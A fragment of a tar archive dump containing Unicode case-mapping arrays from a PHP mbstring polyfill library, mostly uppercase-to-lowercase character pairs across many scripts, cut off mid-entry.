'ἦι', 'ᾗ' => 'ἧι', 'ᾘ' => 'ἠι', 'ᾙ' => 'ἡι', 'ᾚ' => 'ἢι', 'ᾛ' => 'ἣι', 'ᾜ' => 'ἤι', 'ᾝ' => 'ἥι', 'ᾞ' => 'ἦι', 'ᾟ' => 'ἧι', 'ᾠ' => 'ὠι', 'ᾡ' => 'ὡι', 'ᾢ' => 'ὢι', 'ᾣ' => 'ὣι', 'ᾤ' => 'ὤι', 'ᾥ' => 'ὥι', 'ᾦ' => 'ὦι', 'ᾧ' => 'ὧι', 'ᾨ' => 'ὠι', 'ᾩ' => 'ὡι', 'ᾪ' => 'ὢι', 'ᾫ' => 'ὣι', 'ᾬ' => 'ὤι', 'ᾭ' => 'ὥι', 'ᾮ' => 'ὦι', 'ᾯ' => 'ὧι', 'ᾲ' => 'ὰι', 'ᾳ' => 'αι', 'ᾴ' => 'άι', 'ᾶ' => 'ᾶ', 'ᾷ' => 'ᾶι', 'ᾼ' => 'αι', 'ῂ' => 'ὴι', 'ῃ' => 'ηι', 'ῄ' => 'ήι', 'ῆ' => 'ῆ', 'ῇ' => 'ῆι', 'ῌ' => 'ηι', 'ῒ' => 'ῒ', 'ῖ' => 'ῖ', 'ῗ' => 'ῗ', 'ῢ' => 'ῢ', 'ῤ' => 'ῤ', 'ῦ' => 'ῦ', 'ῧ' => 'ῧ', 'ῲ' => 'ὼι', 'ῳ' => 'ωι', 'ῴ' => 'ώι', 'ῶ' => 'ῶ', 'ῷ' => 'ῶι', 'ῼ' => 'ωι', 'ff' => 'ff', 'fi' => 'fi', 'fl' => 'fl', 'ffi' => 'ffi', 'ffl' => 'ffl', 'ſt' => 'st', 'st' => 'st', 'ﬓ' => 'մն', 'ﬔ' => 'մե', 'ﬕ' => 'մի', 'ﬖ' => 'վն', 'ﬗ' => 'մխ', ]; polyfill-mbstring/Resources/unidata/titleCaseRegexp.php000064400000014071151113512120017414 0ustar00 'a', 'B' => 'b', 'C' => 'c', 'D' => 'd', 'E' => 'e', 'F' => 'f', 'G' => 'g', 'H' => 'h', 'I' => 'i', 'J' => 'j', 'K' => 'k', 'L' => 'l', 'M' => 'm', 'N' => 'n', 'O' => 'o', 'P' => 'p', 'Q' => 'q', 'R' => 'r', 'S' => 's', 'T' => 't', 'U' => 'u', 'V' => 'v', 'W' => 'w', 'X' => 'x', 'Y' => 'y', 'Z' => 'z', 'À' => 'à', 'Á' => 'á', 'Â' => 'â', 'Ã' => 'ã', 'Ä' => 'ä', 'Å' => 'å', 'Æ' => 'æ', 'Ç' => 'ç', 'È' => 'è', 'É' => 'é', 'Ê' => 'ê', 'Ë' => 'ë', 'Ì' => 'ì', 'Í' => 'í', 'Î' => 'î', 'Ï' => 'ï', 'Ð' => 'ð', 'Ñ' => 'ñ', 'Ò' => 'ò', 'Ó' => 'ó', 'Ô' => 'ô', 'Õ' => 'õ', 'Ö' => 'ö', 'Ø' => 'ø', 'Ù' => 'ù', 'Ú' => 'ú', 'Û' => 'û', 'Ü' => 'ü', 'Ý' => 'ý', 'Þ' => 'þ', 'Ā' => 'ā', 'Ă' => 'ă', 'Ą' => 'ą', 'Ć' => 'ć', 'Ĉ' => 'ĉ', 'Ċ' => 'ċ', 'Č' => 'č', 'Ď' => 'ď', 'Đ' => 'đ', 'Ē' => 'ē', 'Ĕ' => 'ĕ', 'Ė' => 'ė', 'Ę' => 'ę', 'Ě' => 'ě', 'Ĝ' => 'ĝ', 'Ğ' => 'ğ', 'Ġ' => 'ġ', 'Ģ' => 'ģ', 'Ĥ' => 'ĥ', 'Ħ' => 'ħ', 'Ĩ' => 'ĩ', 'Ī' => 'ī', 'Ĭ' => 'ĭ', 'Į' => 'į', 'İ' => 'i̇', 'IJ' => 'ij', 'Ĵ' => 'ĵ', 'Ķ' => 'ķ', 'Ĺ' => 'ĺ', 'Ļ' => 'ļ', 'Ľ' => 'ľ', 'Ŀ' => 'ŀ', 'Ł' => 'ł', 'Ń' => 'ń', 'Ņ' => 'ņ', 'Ň' => 'ň', 'Ŋ' => 'ŋ', 'Ō' => 'ō', 'Ŏ' => 'ŏ', 'Ő' => 'ő', 'Œ' => 'œ', 'Ŕ' => 'ŕ', 'Ŗ' => 'ŗ', 'Ř' => 'ř', 'Ś' => 'ś', 'Ŝ' => 'ŝ', 'Ş' => 'ş', 'Š' => 'š', 'Ţ' => 'ţ', 'Ť' => 'ť', 'Ŧ' => 'ŧ', 'Ũ' => 'ũ', 'Ū' => 'ū', 'Ŭ' => 'ŭ', 'Ů' => 'ů', 'Ű' => 'ű', 'Ų' => 'ų', 'Ŵ' => 'ŵ', 'Ŷ' => 'ŷ', 'Ÿ' => 'ÿ', 'Ź' => 'ź', 'Ż' => 'ż', 'Ž' => 'ž', 'Ɓ' => 'ɓ', 'Ƃ' => 'ƃ', 'Ƅ' => 'ƅ', 'Ɔ' => 'ɔ', 'Ƈ' => 'ƈ', 'Ɖ' => 'ɖ', 'Ɗ' => 'ɗ', 'Ƌ' => 'ƌ', 'Ǝ' => 'ǝ', 'Ə' => 'ə', 'Ɛ' => 'ɛ', 'Ƒ' => 'ƒ', 'Ɠ' => 'ɠ', 'Ɣ' => 'ɣ', 'Ɩ' => 'ɩ', 'Ɨ' => 'ɨ', 'Ƙ' => 'ƙ', 'Ɯ' => 'ɯ', 'Ɲ' => 'ɲ', 'Ɵ' => 'ɵ', 'Ơ' => 'ơ', 'Ƣ' => 'ƣ', 'Ƥ' => 'ƥ', 'Ʀ' => 'ʀ', 'Ƨ' => 'ƨ', 'Ʃ' => 'ʃ', 'Ƭ' => 'ƭ', 'Ʈ' => 'ʈ', 'Ư' => 'ư', 'Ʊ' => 'ʊ', 'Ʋ' => 'ʋ', 'Ƴ' => 'ƴ', 'Ƶ' => 'ƶ', 'Ʒ' => 'ʒ', 'Ƹ' => 'ƹ', 'Ƽ' => 'ƽ', 'DŽ' => 'dž', 'Dž' => 'dž', 'LJ' => 'lj', 'Lj' => 'lj', 'NJ' => 'nj', 'Nj' => 'nj', 'Ǎ' => 'ǎ', 'Ǐ' => 'ǐ', 'Ǒ' => 'ǒ', 'Ǔ' => 'ǔ', 'Ǖ' => 'ǖ', 'Ǘ' => 'ǘ', 'Ǚ' => 'ǚ', 'Ǜ' => 'ǜ', 'Ǟ' => 'ǟ', 'Ǡ' => 'ǡ', 'Ǣ' => 'ǣ', 'Ǥ' => 'ǥ', 'Ǧ' => 'ǧ', 'Ǩ' => 'ǩ', 'Ǫ' => 'ǫ', 'Ǭ' => 'ǭ', 'Ǯ' => 'ǯ', 'DZ' => 'dz', 'Dz' => 'dz', 'Ǵ' => 'ǵ', 'Ƕ' => 'ƕ', 'Ƿ' => 'ƿ', 'Ǹ' => 'ǹ', 'Ǻ' => 'ǻ', 'Ǽ' => 'ǽ', 'Ǿ' => 'ǿ', 'Ȁ' => 'ȁ', 'Ȃ' => 'ȃ', 'Ȅ' => 'ȅ', 'Ȇ' => 'ȇ', 'Ȉ' => 'ȉ', 'Ȋ' => 'ȋ', 'Ȍ' => 'ȍ', 'Ȏ' => 'ȏ', 'Ȑ' => 'ȑ', 'Ȓ' => 'ȓ', 'Ȕ' => 'ȕ', 'Ȗ' => 'ȗ', 'Ș' => 'ș', 'Ț' => 'ț', 'Ȝ' => 'ȝ', 'Ȟ' => 'ȟ', 'Ƞ' => 'ƞ', 'Ȣ' => 'ȣ', 'Ȥ' => 'ȥ', 'Ȧ' => 'ȧ', 'Ȩ' => 'ȩ', 'Ȫ' => 'ȫ', 'Ȭ' => 'ȭ', 'Ȯ' => 'ȯ', 'Ȱ' => 'ȱ', 'Ȳ' => 'ȳ', 'Ⱥ' => 'ⱥ', 'Ȼ' => 'ȼ', 'Ƚ' => 'ƚ', 'Ⱦ' => 'ⱦ', 'Ɂ' => 'ɂ', 'Ƀ' => 'ƀ', 'Ʉ' => 'ʉ', 'Ʌ' => 'ʌ', 'Ɇ' => 'ɇ', 'Ɉ' => 'ɉ', 'Ɋ' => 'ɋ', 'Ɍ' => 'ɍ', 'Ɏ' => 'ɏ', 'Ͱ' => 'ͱ', 'Ͳ' => 'ͳ', 'Ͷ' => 'ͷ', 'Ϳ' => 'ϳ', 'Ά' => 'ά', 'Έ' => 'έ', 'Ή' => 'ή', 'Ί' => 'ί', 'Ό' => 'ό', 'Ύ' => 'ύ', 'Ώ' => 'ώ', 'Α' => 'α', 'Β' => 'β', 'Γ' => 'γ', 'Δ' => 'δ', 'Ε' => 'ε', 'Ζ' => 'ζ', 'Η' => 'η', 'Θ' => 'θ', 'Ι' => 'ι', 'Κ' => 'κ', 'Λ' => 'λ', 'Μ' => 'μ', 'Ν' => 'ν', 'Ξ' => 'ξ', 'Ο' => 'ο', 'Π' => 'π', 'Ρ' => 'ρ', 'Σ' => 'σ', 'Τ' => 'τ', 'Υ' => 'υ', 'Φ' => 'φ', 'Χ' => 'χ', 'Ψ' => 'ψ', 'Ω' => 'ω', 'Ϊ' => 'ϊ', 'Ϋ' => 'ϋ', 'Ϗ' => 'ϗ', 'Ϙ' => 'ϙ', 'Ϛ' => 'ϛ', 'Ϝ' => 'ϝ', 'Ϟ' => 'ϟ', 'Ϡ' => 'ϡ', 'Ϣ' => 'ϣ', 'Ϥ' => 'ϥ', 'Ϧ' => 'ϧ', 'Ϩ' => 'ϩ', 'Ϫ' => 'ϫ', 'Ϭ' => 'ϭ', 'Ϯ' => 'ϯ', 'ϴ' => 'θ', 'Ϸ' => 'ϸ', 'Ϲ' => 'ϲ', 'Ϻ' => 'ϻ', 'Ͻ' => 'ͻ', 'Ͼ' => 'ͼ', 'Ͽ' => 'ͽ', 'Ѐ' => 'ѐ', 'Ё' => 'ё', 'Ђ' => 'ђ', 'Ѓ' => 'ѓ', 'Є' => 'є', 'Ѕ' => 'ѕ', 'І' => 'і', 'Ї' => 'ї', 'Ј' => 'ј', 'Љ' => 'љ', 'Њ' => 'њ', 'Ћ' => 'ћ', 'Ќ' => 'ќ', 'Ѝ' => 'ѝ', 'Ў' => 'ў', 'Џ' => 'џ', 'А' => 'а', 'Б' => 'б', 'В' => 'в', 'Г' => 'г', 'Д' => 'д', 'Е' => 'е', 'Ж' => 'ж', 'З' => 'з', 'И' => 'и', 'Й' => 'й', 'К' => 'к', 'Л' => 'л', 'М' => 'м', 'Н' => 'н', 'О' => 'о', 'П' => 'п', 'Р' => 'р', 'С' => 'с', 'Т' => 'т', 'У' => 'у', 'Ф' => 'ф', 'Х' => 'х', 'Ц' => 'ц', 'Ч' => 'ч', 'Ш' => 'ш', 'Щ' => 'щ', 'Ъ' => 'ъ', 'Ы' => 'ы', 'Ь' => 'ь', 'Э' => 'э', 'Ю' => 'ю', 'Я' => 'я', 'Ѡ' => 'ѡ', 'Ѣ' => 'ѣ', 'Ѥ' => 'ѥ', 'Ѧ' => 'ѧ', 'Ѩ' => 'ѩ', 'Ѫ' => 'ѫ', 'Ѭ' => 'ѭ', 'Ѯ' => 'ѯ', 'Ѱ' => 'ѱ', 'Ѳ' => 'ѳ', 'Ѵ' => 'ѵ', 'Ѷ' => 'ѷ', 'Ѹ' => 'ѹ', 'Ѻ' => 'ѻ', 'Ѽ' => 'ѽ', 'Ѿ' => 'ѿ', 'Ҁ' => 'ҁ', 'Ҋ' => 'ҋ', 'Ҍ' => 'ҍ', 'Ҏ' => 'ҏ', 'Ґ' => 'ґ', 'Ғ' => 'ғ', 'Ҕ' => 'ҕ', 'Җ' => 'җ', 'Ҙ' => 'ҙ', 'Қ' => 'қ', 'Ҝ' => 'ҝ', 'Ҟ' => 'ҟ', 'Ҡ' => 'ҡ', 'Ң' => 'ң', 'Ҥ' => 'ҥ', 'Ҧ' => 'ҧ', 'Ҩ' => 'ҩ', 'Ҫ' => 'ҫ', 'Ҭ' => 'ҭ', 'Ү' => 'ү', 'Ұ' => 'ұ', 'Ҳ' => 'ҳ', 'Ҵ' => 'ҵ', 'Ҷ' => 'ҷ', 'Ҹ' => 'ҹ', 'Һ' => 'һ', 'Ҽ' => 'ҽ', 'Ҿ' => 'ҿ', 'Ӏ' => 'ӏ', 'Ӂ' => 'ӂ', 'Ӄ' => 'ӄ', 'Ӆ' => 'ӆ', 'Ӈ' => 'ӈ', 'Ӊ' => 'ӊ', 'Ӌ' => 'ӌ', 'Ӎ' => 'ӎ', 'Ӑ' => 'ӑ', 'Ӓ' => 'ӓ', 'Ӕ' => 'ӕ', 'Ӗ' => 'ӗ', 'Ә' => 'ә', 'Ӛ' => 'ӛ', 'Ӝ' => 'ӝ', 'Ӟ' => 'ӟ', 'Ӡ' => 'ӡ', 'Ӣ' => 'ӣ', 'Ӥ' => 'ӥ', 'Ӧ' => 'ӧ', 'Ө' => 'ө', 'Ӫ' => 'ӫ', 'Ӭ' => 'ӭ', 'Ӯ' => 'ӯ', 'Ӱ' => 'ӱ', 'Ӳ' => 'ӳ', 'Ӵ' => 'ӵ', 'Ӷ' => 'ӷ', 'Ӹ' => 'ӹ', 'Ӻ' => 'ӻ', 'Ӽ' => 'ӽ', 'Ӿ' => 'ӿ', 'Ԁ' => 'ԁ', 'Ԃ' => 'ԃ', 'Ԅ' => 'ԅ', 'Ԇ' => 'ԇ', 'Ԉ' => 'ԉ', 'Ԋ' => 'ԋ', 'Ԍ' => 'ԍ', 'Ԏ' => 'ԏ', 'Ԑ' => 'ԑ', 'Ԓ' => 'ԓ', 'Ԕ' => 'ԕ', 'Ԗ' => 'ԗ', 'Ԙ' => 'ԙ', 'Ԛ' => 'ԛ', 'Ԝ' => 'ԝ', 'Ԟ' => 'ԟ', 'Ԡ' => 'ԡ', 'Ԣ' => 'ԣ', 'Ԥ' => 'ԥ', 'Ԧ' => 'ԧ', 'Ԩ' => 'ԩ', 'Ԫ' => 'ԫ', 'Ԭ' => 'ԭ', 'Ԯ' => 'ԯ', 'Ա' => 'ա', 'Բ' => 'բ', 'Գ' => 'գ', 'Դ' => 'դ', 'Ե' => 'ե', 'Զ' => 'զ', 'Է' => 'է', 'Ը' => 'ը', 'Թ' => 'թ', 'Ժ' => 'ժ', 'Ի' => 'ի', 'Լ' => 'լ', 'Խ' => 'խ', 'Ծ' => 'ծ', 'Կ' => 'կ', 'Հ' => 'հ', 'Ձ' => 'ձ', 'Ղ' => 'ղ', 'Ճ' => 'ճ', 'Մ' => 'մ', 'Յ' => 'յ', 'Ն' => 'ն', 'Շ' => 'շ', 'Ո' => 'ո', 'Չ' => 'չ', 'Պ' => 'պ', 'Ջ' => 'ջ', 'Ռ' => 'ռ', 'Ս' => 'ս', 'Վ' => 'վ', 'Տ' => 'տ', 'Ր' => 'ր', 'Ց' => 'ց', 'Ւ' => 'ւ', 'Փ' => 'փ', 'Ք' => 'ք', 'Օ' => 'օ', 'Ֆ' => 'ֆ', 'Ⴀ' => 'ⴀ', 'Ⴁ' => 'ⴁ', 'Ⴂ' => 'ⴂ', 'Ⴃ' => 'ⴃ', 'Ⴄ' => 'ⴄ', 'Ⴅ' => 'ⴅ', 'Ⴆ' => 'ⴆ', 'Ⴇ' => 'ⴇ', 'Ⴈ' => 'ⴈ', 'Ⴉ' => 'ⴉ', 'Ⴊ' => 'ⴊ', 'Ⴋ' => 'ⴋ', 'Ⴌ' => 'ⴌ', 'Ⴍ' => 'ⴍ', 'Ⴎ' => 'ⴎ', 'Ⴏ' => 'ⴏ', 'Ⴐ' => 'ⴐ', 'Ⴑ' => 'ⴑ', 'Ⴒ' => 'ⴒ', 'Ⴓ' => 'ⴓ', 'Ⴔ' => 'ⴔ', 'Ⴕ' => 'ⴕ', 'Ⴖ' => 'ⴖ', 'Ⴗ' => 'ⴗ', 'Ⴘ' => 'ⴘ', 'Ⴙ' => 'ⴙ', 'Ⴚ' => 'ⴚ', 'Ⴛ' => 'ⴛ', 'Ⴜ' => 'ⴜ', 'Ⴝ' => 'ⴝ', 'Ⴞ' => 'ⴞ', 'Ⴟ' => 'ⴟ', 'Ⴠ' => 'ⴠ', 'Ⴡ' => 'ⴡ', 'Ⴢ' => 'ⴢ', 'Ⴣ' => 'ⴣ', 'Ⴤ' => 'ⴤ', 'Ⴥ' => 'ⴥ', 'Ⴧ' => 'ⴧ', 'Ⴭ' => 'ⴭ', 'Ꭰ' => 'ꭰ', 'Ꭱ' => 'ꭱ', 'Ꭲ' => 'ꭲ', 'Ꭳ' => 'ꭳ', 'Ꭴ' => 'ꭴ', 'Ꭵ' => 'ꭵ', 'Ꭶ' => 'ꭶ', 'Ꭷ' => 'ꭷ', 'Ꭸ' => 'ꭸ', 'Ꭹ' => 'ꭹ', 'Ꭺ' => 'ꭺ', 'Ꭻ' => 'ꭻ', 'Ꭼ' => 'ꭼ', 'Ꭽ' => 'ꭽ', 'Ꭾ' => 'ꭾ', 'Ꭿ' => 'ꭿ', 'Ꮀ' => 'ꮀ', 'Ꮁ' => 'ꮁ', 'Ꮂ' => 'ꮂ', 'Ꮃ' => 'ꮃ', 'Ꮄ' => 'ꮄ', 'Ꮅ' => 'ꮅ', 'Ꮆ' => 'ꮆ', 'Ꮇ' => 'ꮇ', 'Ꮈ' => 'ꮈ', 'Ꮉ' => 'ꮉ', 'Ꮊ' => 'ꮊ', 'Ꮋ' => 'ꮋ', 'Ꮌ' => 'ꮌ', 'Ꮍ' => 'ꮍ', 'Ꮎ' => 'ꮎ', 'Ꮏ' => 'ꮏ', 'Ꮐ' => 'ꮐ', 'Ꮑ' => 'ꮑ', 'Ꮒ' => 'ꮒ', 'Ꮓ' => 'ꮓ', 'Ꮔ' => 'ꮔ', 'Ꮕ' => 'ꮕ', 'Ꮖ' => 'ꮖ', 'Ꮗ' => 'ꮗ', 'Ꮘ' => 'ꮘ', 'Ꮙ' => 'ꮙ', 'Ꮚ' => 'ꮚ', 'Ꮛ' => 'ꮛ', 'Ꮜ' => 'ꮜ', 'Ꮝ' => 'ꮝ', 'Ꮞ' => 'ꮞ', 'Ꮟ' => 'ꮟ', 'Ꮠ' => 'ꮠ', 'Ꮡ' => 'ꮡ', 'Ꮢ' => 'ꮢ', 'Ꮣ' => 'ꮣ', 'Ꮤ' => 'ꮤ', 'Ꮥ' => 'ꮥ', 'Ꮦ' => 'ꮦ', 'Ꮧ' => 'ꮧ', 'Ꮨ' => 'ꮨ', 'Ꮩ' => 'ꮩ', 'Ꮪ' => 'ꮪ', 'Ꮫ' => 'ꮫ', 'Ꮬ' => 'ꮬ', 'Ꮭ' => 'ꮭ', 'Ꮮ' => 'ꮮ', 'Ꮯ' => 'ꮯ', 'Ꮰ' => 'ꮰ', 'Ꮱ' => 'ꮱ', 'Ꮲ' => 'ꮲ', 'Ꮳ' => 'ꮳ', 'Ꮴ' => 'ꮴ', 'Ꮵ' => 'ꮵ', 'Ꮶ' => 'ꮶ', 'Ꮷ' => 'ꮷ', 'Ꮸ' => 'ꮸ', 'Ꮹ' => 'ꮹ', 'Ꮺ' => 'ꮺ', 'Ꮻ' => 'ꮻ', 'Ꮼ' => 'ꮼ', 'Ꮽ' => 'ꮽ', 'Ꮾ' => 'ꮾ', 'Ꮿ' => 'ꮿ', 'Ᏸ' => 'ᏸ', 'Ᏹ' => 'ᏹ', 'Ᏺ' => 'ᏺ', 'Ᏻ' => 'ᏻ', 'Ᏼ' => 'ᏼ', 'Ᏽ' => 'ᏽ', 'Ა' => 'ა', 'Ბ' => 'ბ', 'Გ' => 'გ', 'Დ' => 'დ', 'Ე' => 'ე', 'Ვ' => 'ვ', 'Ზ' => 'ზ', 'Თ' => 'თ', 'Ი' => 'ი', 'Კ' => 'კ', 'Ლ' => 'ლ', 'Მ' => 'მ', 'Ნ' => 'ნ', 'Ო' => 'ო', 'Პ' => 'პ', 'Ჟ' => 'ჟ', 'Რ' => 'რ', 'Ს' => 'ს', 'Ტ' => 'ტ', 'Უ' => 'უ', 'Ფ' => 'ფ', 'Ქ' => 'ქ', 'Ღ' => 'ღ', 'Ყ' => 'ყ', 'Შ' => 'შ', 'Ჩ' => 'ჩ', 'Ც' => 'ც', 'Ძ' => 'ძ', 'Წ' => 'წ', 'Ჭ' => 'ჭ', 'Ხ' => 'ხ', 'Ჯ' => 'ჯ', 'Ჰ' => 'ჰ', 'Ჱ' => 'ჱ', 'Ჲ' => 'ჲ', 'Ჳ' => 'ჳ', 'Ჴ' => 'ჴ', 'Ჵ' => 'ჵ', 'Ჶ' => 'ჶ', 'Ჷ' => 'ჷ', 'Ჸ' => 'ჸ', 'Ჹ' => 'ჹ', 'Ჺ' => 'ჺ', 'Ჽ' => 'ჽ', 'Ჾ' => 'ჾ', 'Ჿ' => 'ჿ', 'Ḁ' => 'ḁ', 'Ḃ' => 'ḃ', 'Ḅ' => 'ḅ', 'Ḇ' => 'ḇ', 'Ḉ' => 'ḉ', 'Ḋ' => 'ḋ', 'Ḍ' => 'ḍ', 'Ḏ' => 'ḏ', 'Ḑ' => 'ḑ', 'Ḓ' => 'ḓ', 'Ḕ' => 'ḕ', 'Ḗ' => 'ḗ', 'Ḙ' => 'ḙ', 'Ḛ' => 'ḛ', 'Ḝ' => 'ḝ', 'Ḟ' => 'ḟ', 'Ḡ' => 'ḡ', 'Ḣ' => 'ḣ', 'Ḥ' => 'ḥ', 'Ḧ' => 'ḧ', 'Ḩ' => 'ḩ', 'Ḫ' => 'ḫ', 'Ḭ' => 'ḭ', 'Ḯ' => 'ḯ', 'Ḱ' => 'ḱ', 'Ḳ' => 'ḳ', 'Ḵ' => 'ḵ', 'Ḷ' => 'ḷ', 'Ḹ' => 'ḹ', 'Ḻ' => 'ḻ', 'Ḽ' => 'ḽ', 'Ḿ' => 'ḿ', 'Ṁ' => 'ṁ', 'Ṃ' => 'ṃ', 'Ṅ' => 'ṅ', 'Ṇ' => 'ṇ', 'Ṉ' => 'ṉ', 'Ṋ' => 'ṋ', 'Ṍ' => 'ṍ', 'Ṏ' => 'ṏ', 'Ṑ' => 'ṑ', 'Ṓ' => 'ṓ', 'Ṕ' => 'ṕ', 'Ṗ' => 'ṗ', 'Ṙ' => 'ṙ', 'Ṛ' => 'ṛ', 'Ṝ' => 'ṝ', 'Ṟ' => 'ṟ', 'Ṡ' => 'ṡ', 'Ṣ' => 'ṣ', 'Ṥ' => 'ṥ', 'Ṧ' => 'ṧ', 'Ṩ' => 'ṩ', 'Ṫ' => 'ṫ', 'Ṭ' => 'ṭ', 'Ṯ' => 'ṯ', 'Ṱ' => 'ṱ', 'Ṳ' => 'ṳ', 'Ṵ' => 'ṵ', 'Ṷ' => 'ṷ', 'Ṹ' => 'ṹ', 'Ṻ' => 'ṻ', 'Ṽ' => 'ṽ', 'Ṿ' => 'ṿ', 'Ẁ' => 'ẁ', 'Ẃ' => 'ẃ', 'Ẅ' => 'ẅ', 'Ẇ' => 'ẇ', 'Ẉ' => 'ẉ', 'Ẋ' => 'ẋ', 'Ẍ' => 'ẍ', 'Ẏ' => 'ẏ', 'Ẑ' => 'ẑ', 'Ẓ' => 'ẓ', 'Ẕ' => 'ẕ', 'ẞ' => 'ß', 'Ạ' => 'ạ', 'Ả' => 'ả', 'Ấ' => 'ấ', 'Ầ' => 'ầ', 'Ẩ' => 'ẩ', 'Ẫ' => 'ẫ', 'Ậ' => 'ậ', 'Ắ' => 'ắ', 'Ằ' => 'ằ', 'Ẳ' => 'ẳ', 'Ẵ' => 'ẵ', 'Ặ' => 'ặ', 'Ẹ' => 'ẹ', 'Ẻ' => 'ẻ', 'Ẽ' => 'ẽ', 'Ế' => 'ế', 'Ề' => 'ề', 'Ể' => 'ể', 'Ễ' => 'ễ', 'Ệ' => 'ệ', 'Ỉ' => 'ỉ', 'Ị' => 'ị', 'Ọ' => 'ọ', 'Ỏ' => 'ỏ', 'Ố' => 'ố', 'Ồ' => 'ồ', 'Ổ' => 'ổ', 'Ỗ' => 'ỗ', 'Ộ' => 'ộ', 'Ớ' => 'ớ', 'Ờ' => 'ờ', 'Ở' => 'ở', 'Ỡ' => 'ỡ', 'Ợ' => 'ợ', 'Ụ' => 'ụ', 'Ủ' => 'ủ', 'Ứ' => 'ứ', 'Ừ' => 'ừ', 'Ử' => 'ử', 'Ữ' => 'ữ', 'Ự' => 'ự', 'Ỳ' => 'ỳ', 'Ỵ' => 'ỵ', 'Ỷ' => 'ỷ', 'Ỹ' => 'ỹ', 'Ỻ' => 'ỻ', 'Ỽ' => 'ỽ', 'Ỿ' => 'ỿ', 'Ἀ' => 'ἀ', 'Ἁ' => 'ἁ', 'Ἂ' => 'ἂ', 'Ἃ' => 'ἃ', 'Ἄ' => 'ἄ', 'Ἅ' => 'ἅ', 'Ἆ' => 'ἆ', 'Ἇ' => 'ἇ', 'Ἐ' => 'ἐ', 'Ἑ' => 'ἑ', 'Ἒ' => 'ἒ', 'Ἓ' => 'ἓ', 'Ἔ' => 'ἔ', 'Ἕ' => 'ἕ', 'Ἠ' => 'ἠ', 'Ἡ' => 'ἡ', 'Ἢ' => 'ἢ', 'Ἣ' => 'ἣ', 'Ἤ' => 'ἤ', 'Ἥ' => 'ἥ', 'Ἦ' => 'ἦ', 'Ἧ' => 'ἧ', 'Ἰ' => 'ἰ', 'Ἱ' => 'ἱ', 'Ἲ' => 'ἲ', 'Ἳ' => 'ἳ', 'Ἴ' => 'ἴ', 'Ἵ' => 'ἵ', 'Ἶ' => 'ἶ', 'Ἷ' => 'ἷ', 'Ὀ' => 'ὀ', 'Ὁ' => 'ὁ', 'Ὂ' => 'ὂ', 'Ὃ' => 'ὃ', 'Ὄ' => 'ὄ', 'Ὅ' => 'ὅ', 'Ὑ' => 'ὑ', 'Ὓ' => 'ὓ', 'Ὕ' => 'ὕ', 'Ὗ' => 'ὗ', 'Ὠ' => 'ὠ', 'Ὡ' => 'ὡ', 'Ὢ' => 'ὢ', 'Ὣ' => 'ὣ', 'Ὤ' => 'ὤ', 'Ὥ' => 'ὥ', 'Ὦ' => 'ὦ', 'Ὧ' => 'ὧ', 'ᾈ' => 'ᾀ', 'ᾉ' => 'ᾁ', 'ᾊ' => 'ᾂ', 'ᾋ' => 'ᾃ', 'ᾌ' => 'ᾄ', 'ᾍ' => 'ᾅ', 'ᾎ' => 'ᾆ', 'ᾏ' => 'ᾇ', 'ᾘ' => 'ᾐ', 'ᾙ' => 'ᾑ', 'ᾚ' => 'ᾒ', 'ᾛ' => 'ᾓ', 'ᾜ' => 'ᾔ', 'ᾝ' => 'ᾕ', 'ᾞ' => 'ᾖ', 'ᾟ' => 'ᾗ', 'ᾨ' => 'ᾠ', 'ᾩ' => 'ᾡ', 'ᾪ' => 'ᾢ', 'ᾫ' => 'ᾣ', 'ᾬ' => 'ᾤ', 'ᾭ' => 'ᾥ', 'ᾮ' => 'ᾦ', 'ᾯ' => 'ᾧ', 'Ᾰ' => 'ᾰ', 'Ᾱ' => 'ᾱ', 'Ὰ' => 'ὰ', 'Ά' => 'ά', 'ᾼ' => 'ᾳ', 'Ὲ' => 'ὲ', 'Έ' => 'έ', 'Ὴ' => 'ὴ', 'Ή' => 'ή', 'ῌ' => 'ῃ', 'Ῐ' => 'ῐ', 'Ῑ' => 'ῑ', 'Ὶ' => 'ὶ', 'Ί' => 'ί', 'Ῠ' => 'ῠ', 'Ῡ' => 'ῡ', 'Ὺ' => 'ὺ', 'Ύ' => 'ύ', 'Ῥ' => 'ῥ', 'Ὸ' => 'ὸ', 'Ό' => 'ό', 'Ὼ' => 'ὼ', 'Ώ' => 'ώ', 'ῼ' => 'ῳ', 'Ω' => 'ω', 'K' => 'k', 'Å' => 'å', 'Ⅎ' => 'ⅎ', 'Ⅰ' => 'ⅰ', 'Ⅱ' => 'ⅱ', 'Ⅲ' => 'ⅲ', 'Ⅳ' => 'ⅳ', 'Ⅴ' => 'ⅴ', 'Ⅵ' => 'ⅵ', 'Ⅶ' => 'ⅶ', 'Ⅷ' => 'ⅷ', 'Ⅸ' => 'ⅸ', 'Ⅹ' => 'ⅹ', 'Ⅺ' => 'ⅺ', 'Ⅻ' => 'ⅻ', 'Ⅼ' => 'ⅼ', 'Ⅽ' => 'ⅽ', 'Ⅾ' => 'ⅾ', 'Ⅿ' => 'ⅿ', 'Ↄ' => 'ↄ', 'Ⓐ' => 'ⓐ', 'Ⓑ' => 'ⓑ', 'Ⓒ' => 'ⓒ', 'Ⓓ' => 'ⓓ', 'Ⓔ' => 'ⓔ', 'Ⓕ' => 'ⓕ', 'Ⓖ' => 'ⓖ', 'Ⓗ' => 'ⓗ', 'Ⓘ' => 'ⓘ', 'Ⓙ' => 'ⓙ', 'Ⓚ' => 'ⓚ', 'Ⓛ' => 'ⓛ', 'Ⓜ' => 'ⓜ', 'Ⓝ' => 'ⓝ', 'Ⓞ' => 'ⓞ', 'Ⓟ' => 'ⓟ', 'Ⓠ' => 'ⓠ', 'Ⓡ' => 'ⓡ', 'Ⓢ' => 'ⓢ', 'Ⓣ' => 'ⓣ', 'Ⓤ' => 'ⓤ', 'Ⓥ' => 'ⓥ', 'Ⓦ' => 'ⓦ', 'Ⓧ' => 'ⓧ', 'Ⓨ' => 'ⓨ', 'Ⓩ' => 'ⓩ', 'Ⰰ' => 'ⰰ', 'Ⰱ' => 'ⰱ', 'Ⰲ' => 'ⰲ', 'Ⰳ' => 'ⰳ', 'Ⰴ' => 'ⰴ', 'Ⰵ' => 'ⰵ', 'Ⰶ' => 'ⰶ', 'Ⰷ' => 'ⰷ', 'Ⰸ' => 'ⰸ', 'Ⰹ' => 'ⰹ', 'Ⰺ' => 'ⰺ', 'Ⰻ' => 'ⰻ', 'Ⰼ' => 'ⰼ', 'Ⰽ' => 'ⰽ', 'Ⰾ' => 'ⰾ', 'Ⰿ' => 'ⰿ', 'Ⱀ' => 'ⱀ', 'Ⱁ' => 'ⱁ', 'Ⱂ' => 'ⱂ', 'Ⱃ' => 'ⱃ', 'Ⱄ' => 'ⱄ', 'Ⱅ' 